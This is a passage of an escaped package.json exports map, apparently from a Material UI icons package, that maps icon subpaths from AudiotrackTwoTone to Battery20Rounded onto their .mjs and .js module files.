\"./AudiotrackTwoTone.js\",\n      \"default\": \"./AudiotrackTwoTone.mjs\"\n    },\n    \"./AutoAwesome\": {\n      \"import\": \"./AutoAwesome.mjs\",\n      \"require\": \"./AutoAwesome.js\",\n      \"default\": \"./AutoAwesome.mjs\"\n    },\n    \"./AutoAwesomeMosaic\": {\n      \"import\": \"./AutoAwesomeMosaic.mjs\",\n      \"require\": \"./AutoAwesomeMosaic.js\",\n      \"default\": \"./AutoAwesomeMosaic.mjs\"\n    },\n    \"./AutoAwesomeMosaicOutlined\": {\n      \"import\": \"./AutoAwesomeMosaicOutlined.mjs\",\n      \"require\": \"./AutoAwesomeMosaicOutlined.js\",\n      \"default\": \"./AutoAwesomeMosaicOutlined.mjs\"\n    },\n    \"./AutoAwesomeMosaicRounded\": {\n      \"import\": \"./AutoAwesomeMosaicRounded.mjs\",\n      \"require\": \"./AutoAwesomeMosaicRounded.js\",\n      \"default\": \"./AutoAwesomeMosaicRounded.mjs\"\n    },\n    \"./AutoAwesomeMosaicSharp\": {\n      \"import\": \"./AutoAwesomeMosaicSharp.mjs\",\n      \"require\": \"./AutoAwesomeMosaicSharp.js\",\n      \"default\": \"./AutoAwesomeMosaicSharp.mjs\"\n    },\n    \"./AutoAwesomeMosaicTwoTone\": {\n      \"import\": \"./AutoAwesomeMosaicTwoTone.mjs\",\n      \"require\": \"./AutoAwesomeMosaicTwoTone.js\",\n      \"default\": \"./AutoAwesomeMosaicTwoTone.mjs\"\n    },\n    \"./AutoAwesomeMotion\": {\n      \"import\": \"./AutoAwesomeMotion.mjs\",\n      \"require\": \"./AutoAwesomeMotion.js\",\n      \"default\": \"./AutoAwesomeMotion.mjs\"\n    },\n    \"./AutoAwesomeMotionOutlined\": {\n      \"import\": \"./AutoAwesomeMotionOutlined.mjs\",\n      \"require\": \"./AutoAwesomeMotionOutlined.js\",\n      \"default\": \"./AutoAwesomeMotionOutlined.mjs\"\n    },\n    \"./AutoAwesomeMotionRounded\": {\n      \"import\": \"./AutoAwesomeMotionRounded.mjs\",\n      \"require\": \"./AutoAwesomeMotionRounded.js\",\n      \"default\": \"./AutoAwesomeMotionRounded.mjs\"\n    },\n    \"./AutoAwesomeMotionSharp\": {\n      \"import\": \"./AutoAwesomeMotionSharp.mjs\",\n      \"require\": \"./AutoAwesomeMotionSharp.js\",\n      \"default\": \"./AutoAwesomeMotionSharp.mjs\"\n    },\n    \"./AutoAwesomeMotionTwoTone\": {\n      \"import\": \"./AutoAwesomeMotionTwoTone.mjs\",\n      \"require\": \"./AutoAwesomeMotionTwoTone.js\",\n      \"default\": \"./AutoAwesomeMotionTwoTone.mjs\"\n    },\n    \"./AutoAwesomeOutlined\": {\n      \"import\": \"./AutoAwesomeOutlined.mjs\",\n      \"require\": \"./AutoAwesomeOutlined.js\",\n      \"default\": \"./AutoAwesomeOutlined.mjs\"\n    },\n    \"./AutoAwesomeRounded\": {\n      \"import\": \"./AutoAwesomeRounded.mjs\",\n      \"require\": \"./AutoAwesomeRounded.js\",\n      \"default\": \"./AutoAwesomeRounded.mjs\"\n    },\n    \"./AutoAwesomeSharp\": {\n      \"import\": \"./AutoAwesomeSharp.mjs\",\n      \"require\": \"./AutoAwesomeSharp.js\",\n      \"default\": \"./AutoAwesomeSharp.mjs\"\n    },\n    \"./AutoAwesomeTwoTone\": {\n      \"import\": \"./AutoAwesomeTwoTone.mjs\",\n      \"require\": \"./AutoAwesomeTwoTone.js\",\n      \"default\": \"./AutoAwesomeTwoTone.mjs\"\n    },\n    \"./AutoDelete\": {\n      \"import\": \"./AutoDelete.mjs\",\n      \"require\": \"./AutoDelete.js\",\n      \"default\": \"./AutoDelete.mjs\"\n    },\n    \"./AutoDeleteOutlined\": {\n      \"import\": \"./AutoDeleteOutlined.mjs\",\n      \"require\": \"./AutoDeleteOutlined.js\",\n      \"default\": \"./AutoDeleteOutlined.mjs\"\n    },\n    \"./AutoDeleteRounded\": {\n      \"import\": \"./AutoDeleteRounded.mjs\",\n      \"require\": \"./AutoDeleteRounded.js\",\n      \"default\": \"./AutoDeleteRounded.mjs\"\n    },\n    \"./AutoDeleteSharp\": {\n      \"import\": \"./AutoDeleteSharp.mjs\",\n      \"require\": \"./AutoDeleteSharp.js\",\n      \"default\": \"./AutoDeleteSharp.mjs\"\n    },\n    \"./AutoDeleteTwoTone\": {\n      \"import\": \"./AutoDeleteTwoTone.mjs\",\n      \"require\": \"./AutoDeleteTwoTone.js\",\n      \"default\": \"./AutoDeleteTwoTone.mjs\"\n    },\n    \"./AutoFixHigh\": {\n      \"import\": \"./AutoFixHigh.mjs\",\n      \"require\": \"./AutoFixHigh.js\",\n      \"default\": \"./AutoFixHigh.mjs\"\n    },\n    \"./AutoFixHighOutlined\": {\n      \"import\": \"./AutoFixHighOutlined.mjs\",\n      \"require\": \"./AutoFixHighOutlined.js\",\n      \"default\": \"./AutoFixHighOutlined.mjs\"\n    },\n    \"./AutoFixHighRounded\": {\n      \"import\": \"./AutoFixHighRounded.mjs\",\n      \"require\": \"./AutoFixHighRounded.js\",\n      \"default\": \"./AutoFixHighRounded.mjs\"\n    },\n    \"./AutoFixHighSharp\": {\n      \"import\": \"./AutoFixHighSharp.mjs\",\n      \"require\": \"./AutoFixHighSharp.js\",\n      \"default\": \"./AutoFixHighSharp.mjs\"\n    },\n    \"./AutoFixHighTwoTone\": {\n      \"import\": \"./AutoFixHighTwoTone.mjs\",\n      \"require\": \"./AutoFixHighTwoTone.js\",\n      \"default\": \"./AutoFixHighTwoTone.mjs\"\n    },\n    \"./AutoFixNormal\": {\n      \"import\": \"./AutoFixNormal.mjs\",\n      \"require\": \"./AutoFixNormal.js\",\n      \"default\": \"./AutoFixNormal.mjs\"\n    },\n    \"./AutoFixNormalOutlined\": {\n      \"import\": \"./AutoFixNormalOutlined.mjs\",\n      \"require\": \"./AutoFixNormalOutlined.js\",\n      \"default\": \"./AutoFixNormalOutlined.mjs\"\n    },\n    \"./AutoFixNormalRounded\": {\n      \"import\": \"./AutoFixNormalRounded.mjs\",\n      \"require\": \"./AutoFixNormalRounded.js\",\n      \"default\": \"./AutoFixNormalRounded.mjs\"\n    },\n    \"./AutoFixNormalSharp\": {\n      \"import\": \"./AutoFixNormalSharp.mjs\",\n      \"require\": \"./AutoFixNormalSharp.js\",\n      \"default\": \"./AutoFixNormalSharp.mjs\"\n    },\n    \"./AutoFixNormalTwoTone\": {\n      \"import\": \"./AutoFixNormalTwoTone.mjs\",\n      \"require\": \"./AutoFixNormalTwoTone.js\",\n      \"default\": \"./AutoFixNormalTwoTone.mjs\"\n    },\n    \"./AutoFixOff\": {\n      \"import\": \"./AutoFixOff.mjs\",\n      \"require\": \"./AutoFixOff.js\",\n      \"default\": \"./AutoFixOff.mjs\"\n    },\n    \"./AutoFixOffOutlined\": {\n      \"import\": \"./AutoFixOffOutlined.mjs\",\n      \"require\": \"./AutoFixOffOutlined.js\",\n      \"default\": \"./AutoFixOffOutlined.mjs\"\n    },\n    \"./AutoFixOffRounded\": {\n      \"import\": \"./AutoFixOffRounded.mjs\",\n      \"require\": \"./AutoFixOffRounded.js\",\n      \"default\": \"./AutoFixOffRounded.mjs\"\n    },\n    \"./AutoFixOffSharp\": {\n      \"import\": \"./AutoFixOffSharp.mjs\",\n      \"require\": \"./AutoFixOffSharp.js\",\n      \"default\": \"./AutoFixOffSharp.mjs\"\n    },\n    \"./AutoFixOffTwoTone\": {\n      \"import\": \"./AutoFixOffTwoTone.mjs\",\n      \"require\": \"./AutoFixOffTwoTone.js\",\n      \"default\": \"./AutoFixOffTwoTone.mjs\"\n    },\n    \"./AutoGraph\": {\n      \"import\": \"./AutoGraph.mjs\",\n      \"require\": \"./AutoGraph.js\",\n      \"default\": \"./AutoGraph.mjs\"\n    },\n    \"./AutoGraphOutlined\": {\n      \"import\": \"./AutoGraphOutlined.mjs\",\n      \"require\": \"./AutoGraphOutlined.js\",\n      \"default\": \"./AutoGraphOutlined.mjs\"\n    },\n    \"./AutoGraphRounded\": {\n      \"import\": \"./AutoGraphRounded.mjs\",\n      \"require\": \"./AutoGraphRounded.js\",\n      \"default\": \"./AutoGraphRounded.mjs\"\n    },\n    \"./AutoGraphSharp\": {\n      \"import\": \"./AutoGraphSharp.mjs\",\n      \"require\": \"./AutoGraphSharp.js\",\n      \"default\": \"./AutoGraphSharp.mjs\"\n    },\n    \"./AutoGraphTwoTone\": {\n      \"import\": \"./AutoGraphTwoTone.mjs\",\n      \"require\": \"./AutoGraphTwoTone.js\",\n      \"default\": \"./AutoGraphTwoTone.mjs\"\n    },\n    \"./AutoMode\": {\n      \"import\": \"./AutoMode.mjs\",\n      \"require\": \"./AutoMode.js\",\n      \"default\": \"./AutoMode.mjs\"\n    },\n    \"./AutoModeOutlined\": {\n      \"import\": \"./AutoModeOutlined.mjs\",\n      \"require\": \"./AutoModeOutlined.js\",\n      \"default\": \"./AutoModeOutlined.mjs\"\n    },\n    \"./AutoModeRounded\": {\n      \"import\": \"./AutoModeRounded.mjs\",\n      \"require\": \"./AutoModeRounded.js\",\n      \"default\": \"./AutoModeRounded.mjs\"\n    },\n    \"./AutoModeSharp\": {\n      \"import\": \"./AutoModeSharp.mjs\",\n      \"require\": \"./AutoModeSharp.js\",\n      \"default\": \"./AutoModeSharp.mjs\"\n    },\n    \"./AutoModeTwoTone\": {\n      \"import\": \"./AutoModeTwoTone.mjs\",\n      \"require\": \"./AutoModeTwoTone.js\",\n      \"default\": \"./AutoModeTwoTone.mjs\"\n    },\n    \"./AutoStories\": {\n      \"import\": \"./AutoStories.mjs\",\n      \"require\": \"./AutoStories.js\",\n      \"default\": \"./AutoStories.mjs\"\n    },\n    \"./AutoStoriesOutlined\": {\n      \"import\": \"./AutoStoriesOutlined.mjs\",\n      \"require\": \"./AutoStoriesOutlined.js\",\n      \"default\": \"./AutoStoriesOutlined.mjs\"\n    },\n    \"./AutoStoriesRounded\": {\n      \"import\": \"./AutoStoriesRounded.mjs\",\n      \"require\": \"./AutoStoriesRounded.js\",\n      \"default\": \"./AutoStoriesRounded.mjs\"\n    },\n    \"./AutoStoriesSharp\": {\n      \"import\": \"./AutoStoriesSharp.mjs\",\n      \"require\": \"./AutoStoriesSharp.js\",\n      \"default\": \"./AutoStoriesSharp.mjs\"\n    },\n    \"./AutoStoriesTwoTone\": {\n      \"import\": \"./AutoStoriesTwoTone.mjs\",\n      \"require\": \"./AutoStoriesTwoTone.js\",\n      \"default\": \"./AutoStoriesTwoTone.mjs\"\n    },\n    \"./AutofpsSelect\": {\n      \"require\": \"./AutofpsSelect.js\",\n      \"import\": \"./AutofpsSelect.mjs\",\n      \"default\": \"./AutofpsSelect.mjs\"\n    },\n    \"./AutofpsSelectOutlined\": {\n      \"require\": \"./AutofpsSelectOutlined.js\",\n      \"import\": \"./AutofpsSelectOutlined.mjs\",\n      \"default\": \"./AutofpsSelectOutlined.mjs\"\n    },\n    \"./AutofpsSelectRounded\": {\n      \"require\": \"./AutofpsSelectRounded.js\",\n      \"import\": \"./AutofpsSelectRounded.mjs\",\n      \"default\": \"./AutofpsSelectRounded.mjs\"\n    },\n    \"./AutofpsSelectSharp\": {\n      \"require\": \"./AutofpsSelectSharp.js\",\n      \"import\": \"./AutofpsSelectSharp.mjs\",\n      \"default\": \"./AutofpsSelectSharp.mjs\"\n    },\n    \"./AutofpsSelectTwoTone\": {\n      \"require\": \"./AutofpsSelectTwoTone.js\",\n      \"import\": \"./AutofpsSelectTwoTone.mjs\",\n      \"default\": \"./AutofpsSelectTwoTone.mjs\"\n    },\n    \"./Autorenew\": {\n      \"require\": \"./Autorenew.js\",\n      \"import\": \"./Autorenew.mjs\",\n      \"default\": \"./Autorenew.mjs\"\n    },\n    \"./AutorenewOutlined\": {\n      \"require\": \"./AutorenewOutlined.js\",\n      \"import\": \"./AutorenewOutlined.mjs\",\n      \"default\": \"./AutorenewOutlined.mjs\"\n    },\n    \"./AutorenewRounded\": {\n      \"require\": \"./AutorenewRounded.js\",\n      \"import\": \"./AutorenewRounded.mjs\",\n      \"default\": \"./AutorenewRounded.mjs\"\n    },\n    \"./AutorenewSharp\": {\n      \"require\": \"./AutorenewSharp.js\",\n      \"import\": \"./AutorenewSharp.mjs\",\n      \"default\": \"./AutorenewSharp.mjs\"\n    },\n    \"./AutorenewTwoTone\": {\n      \"require\": \"./AutorenewTwoTone.js\",\n      \"import\": \"./AutorenewTwoTone.mjs\",\n      \"default\": \"./AutorenewTwoTone.mjs\"\n    },\n    \"./AvTimer\": {\n      \"require\": \"./AvTimer.js\",\n      \"import\": \"./AvTimer.mjs\",\n      \"default\": \"./AvTimer.mjs\"\n    },\n    \"./AvTimerOutlined\": {\n      \"require\": \"./AvTimerOutlined.js\",\n      \"import\": \"./AvTimerOutlined.mjs\",\n      \"default\": \"./AvTimerOutlined.mjs\"\n    },\n    \"./AvTimerRounded\": {\n      \"import\": \"./AvTimerRounded.mjs\",\n      \"require\": \"./AvTimerRounded.js\",\n      \"default\": \"./AvTimerRounded.mjs\"\n    },\n    \"./AvTimerSharp\": {\n      \"import\": \"./AvTimerSharp.mjs\",\n      \"require\": \"./AvTimerSharp.js\",\n      \"default\": \"./AvTimerSharp.mjs\"\n    },\n    \"./AvTimerTwoTone\": {\n      \"import\": \"./AvTimerTwoTone.mjs\",\n      \"require\": \"./AvTimerTwoTone.js\",\n      \"default\": \"./AvTimerTwoTone.mjs\"\n    },\n    \"./BabyChangingStation\": {\n      \"import\": \"./BabyChangingStation.mjs\",\n      \"require\": \"./BabyChangingStation.js\",\n      \"default\": \"./BabyChangingStation.mjs\"\n    },\n    \"./BabyChangingStationOutlined\": {\n      \"import\": \"./BabyChangingStationOutlined.mjs\",\n      \"require\": \"./BabyChangingStationOutlined.js\",\n      \"default\": \"./BabyChangingStationOutlined.mjs\"\n    },\n    \"./BabyChangingStationRounded\": {\n      \"import\": \"./BabyChangingStationRounded.mjs\",\n      \"require\": \"./BabyChangingStationRounded.js\",\n      \"default\": \"./BabyChangingStationRounded.mjs\"\n    },\n    \"./BabyChangingStationSharp\": {\n      \"import\": \"./BabyChangingStationSharp.mjs\",\n      \"require\": \"./BabyChangingStationSharp.js\",\n      \"default\": \"./BabyChangingStationSharp.mjs\"\n    },\n    \"./BabyChangingStationTwoTone\": {\n      \"import\": \"./BabyChangingStationTwoTone.mjs\",\n      \"require\": \"./BabyChangingStationTwoTone.js\",\n      \"default\": \"./BabyChangingStationTwoTone.mjs\"\n    },\n    \"./BackHand\": {\n      \"import\": \"./BackHand.mjs\",\n      \"require\": \"./BackHand.js\",\n      \"default\": \"./BackHand.mjs\"\n    },\n    \"./BackHandOutlined\": {\n      \"import\": \"./BackHandOutlined.mjs\",\n      \"require\": \"./BackHandOutlined.js\",\n      \"default\": \"./BackHandOutlined.mjs\"\n    },\n    \"./BackHandRounded\": {\n      \"import\": \"./BackHandRounded.mjs\",\n      \"require\": \"./BackHandRounded.js\",\n      \"default\": \"./BackHandRounded.mjs\"\n    },\n    \"./BackHandSharp\": {\n      \"import\": \"./BackHandSharp.mjs\",\n      \"require\": \"./BackHandSharp.js\",\n      \"default\": \"./BackHandSharp.mjs\"\n    },\n    \"./BackHandTwoTone\": {\n      \"import\": \"./BackHandTwoTone.mjs\",\n      \"require\": \"./BackHandTwoTone.js\",\n      \"default\": \"./BackHandTwoTone.mjs\"\n    },\n    \"./Backpack\": {\n      \"import\": \"./Backpack.mjs\",\n      \"require\": \"./Backpack.js\",\n      \"default\": \"./Backpack.mjs\"\n    },\n    \"./BackpackOutlined\": {\n      \"import\": \"./BackpackOutlined.mjs\",\n      \"require\": \"./BackpackOutlined.js\",\n      \"default\": \"./BackpackOutlined.mjs\"\n    },\n    \"./BackpackRounded\": {\n      \"require\": \"./BackpackRounded.js\",\n      \"import\": \"./BackpackRounded.mjs\",\n      \"default\": \"./BackpackRounded.mjs\"\n    },\n    \"./BackpackSharp\": {\n      \"require\": \"./BackpackSharp.js\",\n      \"import\": \"./BackpackSharp.mjs\",\n      \"default\": \"./BackpackSharp.mjs\"\n    },\n    \"./BackpackTwoTone\": {\n      \"require\": \"./BackpackTwoTone.js\",\n      \"import\": \"./BackpackTwoTone.mjs\",\n      \"default\": \"./BackpackTwoTone.mjs\"\n    },\n    \"./Backspace\": {\n      \"require\": \"./Backspace.js\",\n      \"import\": \"./Backspace.mjs\",\n      \"default\": \"./Backspace.mjs\"\n    },\n    \"./BackspaceOutlined\": {\n      \"require\": \"./BackspaceOutlined.js\",\n      \"import\": \"./BackspaceOutlined.mjs\",\n      \"default\": \"./BackspaceOutlined.mjs\"\n    },\n    \"./BackspaceRounded\": {\n      \"require\": \"./BackspaceRounded.js\",\n      \"import\": \"./BackspaceRounded.mjs\",\n      \"default\": \"./BackspaceRounded.mjs\"\n    },\n    \"./BackspaceSharp\": {\n      \"require\": \"./BackspaceSharp.js\",\n      \"import\": \"./BackspaceSharp.mjs\",\n      \"default\": \"./BackspaceSharp.mjs\"\n    },\n    \"./BackspaceTwoTone\": {\n      \"require\": \"./BackspaceTwoTone.js\",\n      \"import\": \"./BackspaceTwoTone.mjs\",\n      \"default\": \"./BackspaceTwoTone.mjs\"\n    },\n    \"./Backup\": {\n      \"require\": \"./Backup.js\",\n      \"import\": \"./Backup.mjs\",\n      \"default\": \"./Backup.mjs\"\n    },\n    \"./BackupOutlined\": {\n      \"require\": \"./BackupOutlined.js\",\n      \"import\": \"./BackupOutlined.mjs\",\n      \"default\": \"./BackupOutlined.mjs\"\n    },\n    \"./BackupRounded\": {\n      \"require\": \"./BackupRounded.js\",\n      \"import\": \"./BackupRounded.mjs\",\n      \"default\": \"./BackupRounded.mjs\"\n    },\n    \"./BackupSharp\": {\n      \"require\": \"./BackupSharp.js\",\n      \"import\": \"./BackupSharp.mjs\",\n      \"default\": \"./BackupSharp.mjs\"\n    },\n    \"./BackupTable\": {\n      \"require\": \"./BackupTable.js\",\n      \"import\": \"./BackupTable.mjs\",\n      \"default\": \"./BackupTable.mjs\"\n    },\n    \"./BackupTableOutlined\": {\n      \"require\": \"./BackupTableOutlined.js\",\n      \"import\": \"./BackupTableOutlined.mjs\",\n      \"default\": \"./BackupTableOutlined.mjs\"\n    },\n    \"./BackupTableRounded\": {\n      \"import\": \"./BackupTableRounded.mjs\",\n      \"require\": \"./BackupTableRounded.js\",\n      \"default\": \"./BackupTableRounded.mjs\"\n    },\n    \"./BackupTableSharp\": {\n      \"import\": \"./BackupTableSharp.mjs\",\n      \"require\": \"./BackupTableSharp.js\",\n      \"default\": \"./BackupTableSharp.mjs\"\n    },\n    \"./BackupTableTwoTone\": {\n      \"require\": \"./BackupTableTwoTone.js\",\n      \"import\": \"./BackupTableTwoTone.mjs\",\n      \"default\": \"./BackupTableTwoTone.mjs\"\n    },\n    \"./BackupTwoTone\": {\n      \"require\": \"./BackupTwoTone.js\",\n      \"import\": \"./BackupTwoTone.mjs\",\n      \"default\": \"./BackupTwoTone.mjs\"\n    },\n    \"./Badge\": {\n      \"require\": \"./Badge.js\",\n      \"import\": \"./Badge.mjs\",\n      \"default\": \"./Badge.mjs\"\n    },\n    \"./BadgeOutlined\": {\n      \"require\": \"./BadgeOutlined.js\",\n      \"import\": \"./BadgeOutlined.mjs\",\n      \"default\": \"./BadgeOutlined.mjs\"\n    },\n    \"./BadgeRounded\": {\n      \"import\": \"./BadgeRounded.mjs\",\n      \"require\": \"./BadgeRounded.js\",\n      \"default\": \"./BadgeRounded.mjs\"\n    },\n    \"./BadgeSharp\": {\n      \"import\": \"./BadgeSharp.mjs\",\n      \"require\": \"./BadgeSharp.js\",\n      \"default\": \"./BadgeSharp.mjs\"\n    },\n    \"./BadgeTwoTone\": {\n      \"import\": \"./BadgeTwoTone.mjs\",\n      \"require\": \"./BadgeTwoTone.js\",\n      \"default\": \"./BadgeTwoTone.mjs\"\n    },\n    \"./BakeryDining\": {\n      \"import\": \"./BakeryDining.mjs\",\n      \"require\": \"./BakeryDining.js\",\n      \"default\": \"./BakeryDining.mjs\"\n    },\n    \"./BakeryDiningOutlined\": {\n      \"import\": \"./BakeryDiningOutlined.mjs\",\n      \"require\": \"./BakeryDiningOutlined.js\",\n      \"default\": \"./BakeryDiningOutlined.mjs\"\n    },\n    \"./BakeryDiningRounded\": {\n      \"import\": \"./BakeryDiningRounded.mjs\",\n      \"require\": \"./BakeryDiningRounded.js\",\n      \"default\": \"./BakeryDiningRounded.mjs\"\n    },\n    \"./BakeryDiningSharp\": {\n      \"import\": \"./BakeryDiningSharp.mjs\",\n      \"require\": \"./BakeryDiningSharp.js\",\n      \"default\": \"./BakeryDiningSharp.mjs\"\n    },\n    \"./BakeryDiningTwoTone\": {\n      \"import\": \"./BakeryDiningTwoTone.mjs\",\n      \"require\": \"./BakeryDiningTwoTone.js\",\n      \"default\": \"./BakeryDiningTwoTone.mjs\"\n    },\n    \"./Balance\": {\n      \"import\": \"./Balance.mjs\",\n      \"require\": \"./Balance.js\",\n      \"default\": \"./Balance.mjs\"\n    },\n    \"./BalanceOutlined\": {\n      \"import\": \"./BalanceOutlined.mjs\",\n      \"require\": \"./BalanceOutlined.js\",\n      \"default\": \"./BalanceOutlined.mjs\"\n    },\n    \"./BalanceRounded\": {\n      \"import\": \"./BalanceRounded.mjs\",\n      \"require\": \"./BalanceRounded.js\",\n      \"default\": \"./BalanceRounded.mjs\"\n    },\n    \"./BalanceSharp\": {\n      \"import\": \"./BalanceSharp.mjs\",\n      \"require\": \"./BalanceSharp.js\",\n      \"default\": \"./BalanceSharp.mjs\"\n    },\n    \"./BalanceTwoTone\": {\n      \"import\": \"./BalanceTwoTone.mjs\",\n      \"require\": \"./BalanceTwoTone.js\",\n      \"default\": \"./BalanceTwoTone.mjs\"\n    },\n    \"./Balcony\": {\n      \"import\": \"./Balcony.mjs\",\n      \"require\": \"./Balcony.js\",\n      \"default\": \"./Balcony.mjs\"\n    },\n    \"./BalconyOutlined\": {\n      \"import\": \"./BalconyOutlined.mjs\",\n      \"require\": \"./BalconyOutlined.js\",\n      \"default\": \"./BalconyOutlined.mjs\"\n    },\n    \"./BalconyRounded\": {\n      \"import\": \"./BalconyRounded.mjs\",\n      \"require\": \"./BalconyRounded.js\",\n      \"default\": \"./BalconyRounded.mjs\"\n    },\n    \"./BalconySharp\": {\n      \"import\": \"./BalconySharp.mjs\",\n      \"require\": \"./BalconySharp.js\",\n      \"default\": \"./BalconySharp.mjs\"\n    },\n    \"./BalconyTwoTone\": {\n      \"import\": \"./BalconyTwoTone.mjs\",\n      \"require\": \"./BalconyTwoTone.js\",\n      \"default\": \"./BalconyTwoTone.mjs\"\n    },\n    \"./Ballot\": {\n      \"import\": \"./Ballot.mjs\",\n      \"require\": \"./Ballot.js\",\n      \"default\": \"./Ballot.mjs\"\n    },\n    \"./BallotOutlined\": {\n      \"import\": \"./BallotOutlined.mjs\",\n      \"require\": \"./BallotOutlined.js\",\n      \"default\": \"./BallotOutlined.mjs\"\n    },\n    \"./BallotRounded\": {\n      \"import\": \"./BallotRounded.mjs\",\n      \"require\": \"./BallotRounded.js\",\n      \"default\": \"./BallotRounded.mjs\"\n    },\n    \"./BallotSharp\": {\n      \"import\": \"./BallotSharp.mjs\",\n      \"require\": \"./BallotSharp.js\",\n      \"default\": \"./BallotSharp.mjs\"\n    },\n    \"./BallotTwoTone\": {\n      \"import\": \"./BallotTwoTone.mjs\",\n      \"require\": \"./BallotTwoTone.js\",\n      \"default\": \"./BallotTwoTone.mjs\"\n    },\n    \"./BarChart\": {\n      \"import\": \"./BarChart.mjs\",\n      \"require\": \"./BarChart.js\",\n      \"default\": \"./BarChart.mjs\"\n    },\n    \"./BarChartOutlined\": {\n      \"import\": \"./BarChartOutlined.mjs\",\n      \"require\": \"./BarChartOutlined.js\",\n      \"default\": \"./BarChartOutlined.mjs\"\n    },\n    \"./BarChartRounded\": {\n      \"import\": \"./BarChartRounded.mjs\",\n      \"require\": \"./BarChartRounded.js\",\n      \"default\": \"./BarChartRounded.mjs\"\n    },\n    \"./BarChartSharp\": {\n      \"import\": \"./BarChartSharp.mjs\",\n      \"require\": \"./BarChartSharp.js\",\n      \"default\": \"./BarChartSharp.mjs\"\n    },\n    \"./BarChartTwoTone\": {\n      \"import\": \"./BarChartTwoTone.mjs\",\n      \"require\": \"./BarChartTwoTone.js\",\n      \"default\": \"./BarChartTwoTone.mjs\"\n    },\n    \"./BarcodeReader\": {\n      \"import\": \"./BarcodeReader.mjs\",\n      \"require\": \"./BarcodeReader.js\",\n      \"default\": \"./BarcodeReader.mjs\"\n    },\n    \"./BatchPrediction\": {\n      \"import\": \"./BatchPrediction.mjs\",\n      \"require\": \"./BatchPrediction.js\",\n      \"default\": \"./BatchPrediction.mjs\"\n    },\n    \"./BatchPredictionOutlined\": {\n      \"import\": \"./BatchPredictionOutlined.mjs\",\n      \"require\": \"./BatchPredictionOutlined.js\",\n      \"default\": \"./BatchPredictionOutlined.mjs\"\n    },\n    \"./BatchPredictionRounded\": {\n      \"import\": \"./BatchPredictionRounded.mjs\",\n      \"require\": \"./BatchPredictionRounded.js\",\n      \"default\": \"./BatchPredictionRounded.mjs\"\n    },\n    \"./BatchPredictionSharp\": {\n      \"import\": \"./BatchPredictionSharp.mjs\",\n      \"require\": \"./BatchPredictionSharp.js\",\n      \"default\": \"./BatchPredictionSharp.mjs\"\n    },\n    \"./BatchPredictionTwoTone\": {\n      \"import\": \"./BatchPredictionTwoTone.mjs\",\n      \"require\": \"./BatchPredictionTwoTone.js\",\n      \"default\": \"./BatchPredictionTwoTone.mjs\"\n    },\n    \"./Bathroom\": {\n      \"import\": \"./Bathroom.mjs\",\n      \"require\": \"./Bathroom.js\",\n      \"default\": \"./Bathroom.mjs\"\n    },\n    \"./BathroomOutlined\": {\n      \"import\": \"./BathroomOutlined.mjs\",\n      \"require\": \"./BathroomOutlined.js\",\n      \"default\": \"./BathroomOutlined.mjs\"\n    },\n    \"./BathroomRounded\": {\n      \"import\": \"./BathroomRounded.mjs\",\n      \"require\": \"./BathroomRounded.js\",\n      \"default\": \"./BathroomRounded.mjs\"\n    },\n    \"./BathroomSharp\": {\n      \"import\": \"./BathroomSharp.mjs\",\n      \"require\": \"./BathroomSharp.js\",\n      \"default\": \"./BathroomSharp.mjs\"\n    },\n    \"./BathroomTwoTone\": {\n      \"require\": \"./BathroomTwoTone.js\",\n      \"import\": \"./BathroomTwoTone.mjs\",\n      \"default\": \"./BathroomTwoTone.mjs\"\n    },\n    \"./Bathtub\": {\n      \"require\": \"./Bathtub.js\",\n      \"import\": \"./Bathtub.mjs\",\n      \"default\": \"./Bathtub.mjs\"\n    },\n    \"./BathtubOutlined\": {\n      \"require\": \"./BathtubOutlined.js\",\n      \"import\": \"./BathtubOutlined.mjs\",\n      \"default\": \"./BathtubOutlined.mjs\"\n    },\n    \"./BathtubRounded\": {\n      \"require\": \"./BathtubRounded.js\",\n      \"import\": \"./BathtubRounded.mjs\",\n      \"default\": \"./BathtubRounded.mjs\"\n    },\n    \"./BathtubSharp\": {\n      \"require\": \"./BathtubSharp.js\",\n      \"import\": \"./BathtubSharp.mjs\",\n      \"default\": \"./BathtubSharp.mjs\"\n    },\n    \"./BathtubTwoTone\": {\n      \"require\": \"./BathtubTwoTone.js\",\n      \"import\": \"./BathtubTwoTone.mjs\",\n      \"default\": \"./BathtubTwoTone.mjs\"\n    },\n    \"./Battery0Bar\": {\n      \"require\": \"./Battery0Bar.js\",\n      \"import\": \"./Battery0Bar.mjs\",\n      \"default\": \"./Battery0Bar.mjs\"\n    },\n    \"./Battery0BarOutlined\": {\n      \"import\": \"./Battery0BarOutlined.mjs\",\n      \"require\": \"./Battery0BarOutlined.js\",\n      \"default\": \"./Battery0BarOutlined.mjs\"\n    },\n    \"./Battery0BarRounded\": {\n      \"import\": \"./Battery0BarRounded.mjs\",\n      \"require\": \"./Battery0BarRounded.js\",\n      \"default\": \"./Battery0BarRounded.mjs\"\n    },\n    \"./Battery0BarSharp\": {\n      \"import\": \"./Battery0BarSharp.mjs\",\n      \"require\": \"./Battery0BarSharp.js\",\n      \"default\": \"./Battery0BarSharp.mjs\"\n    },\n    \"./Battery0BarTwoTone\": {\n      \"import\": \"./Battery0BarTwoTone.mjs\",\n      \"require\": \"./Battery0BarTwoTone.js\",\n      \"default\": \"./Battery0BarTwoTone.mjs\"\n    },\n    \"./Battery1Bar\": {\n      \"import\": \"./Battery1Bar.mjs\",\n      \"require\": \"./Battery1Bar.js\",\n      \"default\": \"./Battery1Bar.mjs\"\n    },\n    \"./Battery1BarOutlined\": {\n      \"import\": \"./Battery1BarOutlined.mjs\",\n      \"require\": \"./Battery1BarOutlined.js\",\n      \"default\": \"./Battery1BarOutlined.mjs\"\n    },\n    \"./Battery1BarRounded\": {\n      \"import\": \"./Battery1BarRounded.mjs\",\n      \"require\": \"./Battery1BarRounded.js\",\n      \"default\": \"./Battery1BarRounded.mjs\"\n    },\n    \"./Battery1BarSharp\": {\n      \"import\": \"./Battery1BarSharp.mjs\",\n      \"require\": \"./Battery1BarSharp.js\",\n      \"default\": \"./Battery1BarSharp.mjs\"\n    },\n    \"./Battery1BarTwoTone\": {\n      \"import\": \"./Battery1BarTwoTone.mjs\",\n      \"require\": \"./Battery1BarTwoTone.js\",\n      \"default\": \"./Battery1BarTwoTone.mjs\"\n    },\n    \"./Battery20\": {\n      \"import\": \"./Battery20.mjs\",\n      \"require\": \"./Battery20.js\",\n      \"default\": \"./Battery20.mjs\"\n    },\n    \"./Battery20Outlined\": {\n      \"import\": \"./Battery20Outlined.mjs\",\n      \"require\": \"./Battery20Outlined.js\",\n      \"default\": \"./Battery20Outlined.mjs\"\n    },\n    \"./Battery20Rounded\": {\n      \"import\": 